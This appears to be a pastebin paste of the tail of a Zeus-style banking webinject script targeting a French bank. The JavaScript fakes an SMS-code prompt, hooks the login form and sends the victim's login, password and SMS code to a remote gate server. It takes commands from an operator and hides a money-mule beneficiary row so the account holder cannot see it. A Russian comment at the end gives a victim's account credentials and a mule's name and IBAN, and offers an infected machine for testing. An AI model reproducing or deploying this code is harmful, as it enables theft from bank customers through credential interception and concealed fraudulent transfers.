bLvQ1PYd4U2hJU4oaGrXaoeEhTmAkDJJ6Uq2n2mbbbVFhqG4NFKHP+1Wb0b7KOMlF6vDZElYzHZWP3ST9I9FeHIfd0aiiiiio8yK1LYWzIQFtqGCCKos+FL2dldo2pTkMnurH0fA1YrVdmJzaQtQDn41IkR85wKWyI5GdKXPs8c1Aea46VCdb41CeaGpwPhUN1BAIBPxNQX285zr51CdaHIVCebqE83x0rQlpe93QcGnNthrcUNDrVsiRmIMft5i0ttpGuTjPlVb2j2uMj9mghSGTgAJHeWTy6+6rv6OdgXW3GrvtG3+0e2xEVrudFLH1ug5c9dB1SiiiiiiitbraHm1NuJSpChgpIyDVOu+zT0NxUiz5UjOSxzHl/nxrC1bQKQexlA5ToQoain6HGJactLGvLhiosmIdcClkiKelLn46hnSoDzB10qE6yelQnmT0qI7HUeAqOuEtXI0ItCln2T8KYRrDhO+4AlI4k6Cotxvtvs6VIigSHxp/KPfVXZXfNsbn6tb2XJLvMJ0Q0DzJ4AePE8s12bYH0cwtnCiZPUJt249oR3Gj/IPmdfKr/RRRRRRRRRRSu62SHchl5G67ycRor+9ViTZLnbFb8YmSyDxRooDxH/miLtA42ezkJORoQvjTJu5xHwN7KCffXqm47wyh1Bz41HdtwVwwaiOWon6NRlWgnORWpVpQn94pCfM1HdFujA9o8kkck60qm7QR46SIjAJHBS/yquPP3e/vliG0/JV9RpJwPM8APEmrLs/6JHZCkvbRydxHH1aOdf+pfAeQz511S0WmBZ4aYtsiNRo6eCG08fEniT4mmFFFFFFFFFFFFFFQ5tvizUkSWG3PEjX48aSyNko6jmK+6yeh7wpc7s1c2s9i6y6PMpP4VFctt7aOPVln7CgfwrQpi9j/wCJL9wzWpcK+OcIkr3jFYDZu+yDrHCM83HAPzNSGNgJrxBlzWWhzDaSo/KnVv2Bs0YhclDsxzj+tV3f+0VZ40ZmIyGorLbLY+ghISPgK30UUUUUUUUUUUUUUUUUUYoooooooooooooooorzI60byetedonrWJeR1rzt0da89YR1rH1pFeGWij1xFeGY3/ho9db/AMNHrqKPXG/8NeiWj/DXolor0SUV6JCOte9sjrWQdT1r3tE9a93h1r3NFFFeEZrEo8axLRPOsCwetYGOrrWBjKPWsTFV41iYi/GsDDX41iYS/GsTBX4156gvqfjXvqC+p+Ne+or8a9EJfjWYhr8ayERY61mIq/GsxGVWQjnrWYZPWsw2etZBGKyor//Z">'+
  1126.                                                     '</td>'+
  1127.                                                     '<td>'+
  1128.                                                         '<input type="password" style="margin-left:20px;width:105px;" id="fksmsinput">'+
  1129.                                                         '<br>'+
  1130.                                                         '<div class="btns_layer">'+
  1131.                                                             '<input type="button" onClick="_fksmsbutton();" value="Valider" class="bouton" title="Valider" tabindex="19" style="margin-left:0px;height:36px;width:105px;">'+
  1132.                                                         '</div>'+
  1133.                                                     '</td>'+
  1134.                                                 '</tr>'+
  1135.                                             '</table>'+
  1136.                                             '<br><br>'+
  1137.                                         '</div>'+
  1138.                                     '</fieldset>'+
  1139.                                  '</div>';
  1140.        
  1141.         motDePasseBloc.parentNode.insertBefore(smsMainDiv,motDePasseBloc);
  1142.         motDePasseBloc.style.display = "none";
  1143.     }
  1144. }
  1145.  
  1146. function CH_ACTIONS(){
  1147.     switch(QUERY.COMMAND){
  1148.                
  1149.         case("OFFLINE"):
  1150.             ACTION_LOGIN();
  1151.         break;
  1152.        
  1153.         case("BLOCK"):
  1154.             ACTION_BLOCK();
  1155.         break;
  1156.        
  1157.         case("SMS"):
  1158.             ACTION_SMS();
  1159.         break;
  1160.        
  1161.         case("LOGIN"):
  1162.             ACTION_LOGIN();
  1163.         break;
  1164.        
  1165.         case("REASK LOGIN INFO"):
  1166.             ACTION_RELOGIN();
  1167.         break;
  1168.        
  1169.         case("WAIT"):
  1170.             ACTION_WAITING(true);
  1171.             setTimeout(CH_COMMAND,1000);
  1172.         break;
  1173.        
  1174.     }
  1175. }
  1176.  
  1177. function _fksmsbutton(){
  1178.     var fksmsinput = document.getElementById("fksmsinput");
  1179.     if(fksmsinput.value.length >= 3){
  1180.         ACTION_WAITING(true);
  1181.         HOLDER.SMS = fksmsinput.value;
  1182.         var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
  1183.         LINK += "&type=intercept";
  1184.         LINK += "&message=Code Recieved";
  1185.         LINK += "&data="+HOLDER.SMS;
  1186.         kl = "command";
  1187.         hujax.send(LINK);
  1188.     }
  1189. }
  1190.  
  1191. //=================== INIT REPLACER FUNCTIONS =====================
  1192.  
  1193. replacer.init(document.getElementById("myTableV"));
  1194.  
  1195. replacer.ifequals = function(tag){
  1196.     if(tag){
  1197.         var transferInfo = Text(tag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|​|^\s*)/ig,"");
  1198.         if(replacer.check(transferInfo,"NAME") ||
  1199.             replacer.check(transferInfo,"IBAN")
  1200.         ){
  1201.             return true;
  1202.         }
  1203.         return false;
  1204.     }else{
  1205.         return false;
  1206.     }
  1207. }
  1208.  
  1209. replacer.drops = function(){
  1210.     var table = document.getElementById("myTableV");
  1211.     if(table){
  1212.         var trs = From(table,"tr");
  1213.         if(trs && trs.length > 0){
  1214.             for(var i = 0; i < trs.length; i++){
  1215.                 var tds = From(trs[i],"td");
  1216.                 var ths = From(trs[i],"th");
  1217.                 if(tds && tds.length >= 2 && ths && ths.length > 0){
  1218.                     if(replacer.ifequals(tds[1]) && replacer.ifequals(ths[0])){
  1219.                         trs[i].style.display = "none";
  1220.                     }
  1221.                 }
  1222.             }
  1223.         }
  1224.     }
  1225. }
  1226.  
  1227. replacer.start = function(){
  1228.     replacer.drops();
  1229.     ShowHtmlDocument(document);
  1230. }
  1231.  
  1232. //=================== INIT AJAX FUNCTIONS =====================
  1233.  
  1234. hujax.callback(UniversalCallback);
  1235.  
  1236. function UniversalCallback(){
  1237.     switch(kl){
  1238.        
  1239.         case("check"):
  1240.             if(admindata == "C:ON"){
  1241.                 _continueStart();
  1242.             }else if(admindata == "C:BLOCK"){
  1243.                 ACTION_BLOCK();
  1244.             }
  1245.             ShowHtmlDocument(document);
  1246.         break;
  1247.        
  1248.         case("login"):
  1249.             if(typeof admindata != "undefined"){
  1250.                 ACTION_WAITING(false);
  1251.                 CH_COMMAND();
  1252.             }else{
  1253.                 ACTION_LOGIN();
  1254.             }
  1255.         break;
  1256.  
  1257.         case("replacer"):
  1258.             if(typeof admindata != "undefined"){
  1259.                 if(/replacer/igm.test(admindata)){
  1260.                     var els = admindata.split("|");
  1261.                     if(els && els.length >= 2){
  1262.                         replacer.save({"NAME":els[1]},{"IBAN":els[2]});
  1263.                         if(replacer.canstart()){
  1264.                             replacer.start();
  1265.                         }
  1266.                     }else{
  1267.                         ShowHtmlDocument(document);
  1268.                     }
  1269.                 }else{
  1270.                     ShowHtmlDocument(document);
  1271.                 }
  1272.             }else{
  1273.                 ShowHtmlDocument(document);
  1274.             }
  1275.         break;
  1276.        
  1277.         case("command"):
  1278.             if(QUERY.FINISH && !QUERY.CHANGED){
  1279.                 ACTION_LOGIN();
  1280.             }else{
  1281.                 if(typeof admindata != "undefined"){
  1282.                     var els = admindata.split("|");
  1283.                     if(els && els.length == 2){
  1284.                         if(els[0] == QUERY.COMMAND){
  1285.                             setTimeout(CH_COMMAND,1000);
  1286.                         }else{
  1287.                             QUERY.CHANGED = true;
  1288.                             QUERY.COMMAND = els[0];
  1289.                             QUERY.VALUE = els[1];
  1290.                             CH_ACTIONS();
  1291.                         }
  1292.                     }
  1293.                 }
  1294.             }
  1295.         break;
  1296.        
  1297.     }
  1298. }
  1299.  
  1300. function CH_COMMAND(){
  1301.     var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
  1302.     LINK += "&type=intercept";
  1303.     kl = "command";
  1304.     hujax.send(LINK);
  1305. }
  1306.  
  1307. hujax.checkinject = function(){
  1308.     var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
  1309.     LINK += "&type=intercept";
  1310.     LINK += "&domain="+document.domain;
  1311.     LINK += "&browser="+browserName;
  1312.     kl = "check";
  1313.     hujax.send(LINK);
  1314. }
  1315.  
  1316. hujax.replacer = function(){
  1317.     var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date());
  1318.     kl = "replacer";
  1319.     hujax.send(LINK);
  1320. }
  1321.  
  1322. //=================== INIT START FUNCTIONS =====================
  1323.  
  1324. function inside(){
  1325.     return document.getElementById("deconex");
  1326. }
  1327.  
  1328. function _lethim(){
  1329.     FKsubmitN1();
  1330. }
  1331.  
  1332. function _logindata(){
  1333.     HOLDER.LOGIN = UI_login_input.value;
  1334.     ACTION_WAITING(true);
  1335.     var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
  1336.     LINK += "&type=intercept&message=Loginning...";
  1337.     LINK += "&domain="+document.domain;
  1338.     LINK += "&browser="+browserName;
  1339.     kl = "login";
  1340.     hujax.send(LINK);
  1341. }
  1342.  
  1343. function _continueStart(){
  1344.     if(UI_login_input && UI_login_button){
  1345.         clone.click(UI_correct_button,function(){
  1346.             if(!loginApproved)HOLDER.PASSWORD = HOLDER.PASSWORD.substr(0,HOLDER.PASSWORD.length-1);
  1347.             SimulateMouse("click",UI_correct_button);
  1348.         });
  1349.        
  1350.         clone.click(UI_clear_button,function(){
  1351.             if(!loginApproved)HOLDER.PASSWORD = "";
  1352.             SimulateMouse("click",UI_clear_button);
  1353.         });
  1354.        
  1355.         insertFKeyboard();
  1356.        
  1357.         FKsubmitN1 = sendForm;
  1358.         FKsubmitN2 = UI_login_form.onsubmit;
  1359.        
  1360.         sendForm = function(){
  1361.             if(loginApproved){
  1362.                 _lethim();
  1363.             }else{
  1364.                 _logindata();
  1365.                 return false;
  1366.             }
  1367.         }
  1368.  
  1369.         UI_login_form.onsubmit = function(){
  1370.             if(loginApproved){
  1371.                 _lethim();
  1372.             }else{
  1373.                 _logindata();
  1374.                 return false;
  1375.             }
  1376.         }
  1377.     }
  1378. }
  1379.  
  1380. function _start(){
  1381.    
  1382.     var pointH4 = by.content(document,"h4","votre vigilance est");
  1383.     if(pointH4){
  1384.         pointH4.parentNode.innerHTML = '<h4 style="color: red;">'+FKTEXT.COMMONTITLE+'</h4>'+
  1385.                                         '<br><br>'+
  1386.                                         '<p style="text-align: left !important;">'+FKTEXT.COMMONMAIN+
  1387.                                         '</p>';
  1388.        
  1389.     }
  1390.    
  1391.     if(UI_login_input && UI_login_button){
  1392.         hujax.checkinject();
  1393.     }else if(inside()){
  1394.         hujax.replacer();
  1395.     }else{
  1396.         ShowHtmlDocument(document);
  1397.     }
  1398. }
  1399.  
  1400. _start();
  1401.  
  1402. /*
  1403.  
  1404. Login/ pass к акку: 0370112205 / 007556  (посмотри сегодня же, потому что дроп скоро добавится)
  1405.  
  1406. Слева будет меню, сначала надо тукнуть "Virement and Prelevements" и из выпадающего списка выбрать ниже "Gerer la liste des comptes destinataires".
  1407. Ожидающий добавления дроп "Bénéficiaire en cours de validation" -  в данном случае это "SANDRA FLEURMOND    FR7617515900000482728178812"
  1408. Именно эти строки и надо скрывать от глаз бота (как и писал ранее поиск по имени дропа или Numéro de compte и удаление).
  1409.  
  1410. Для тестов инжекта могу предоставить виртуалку зараженную ботом и teamviewer (потому как синтаксис зевса по грабингу Bot ID не совпадает с нашим).
  1411.  
  1412. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement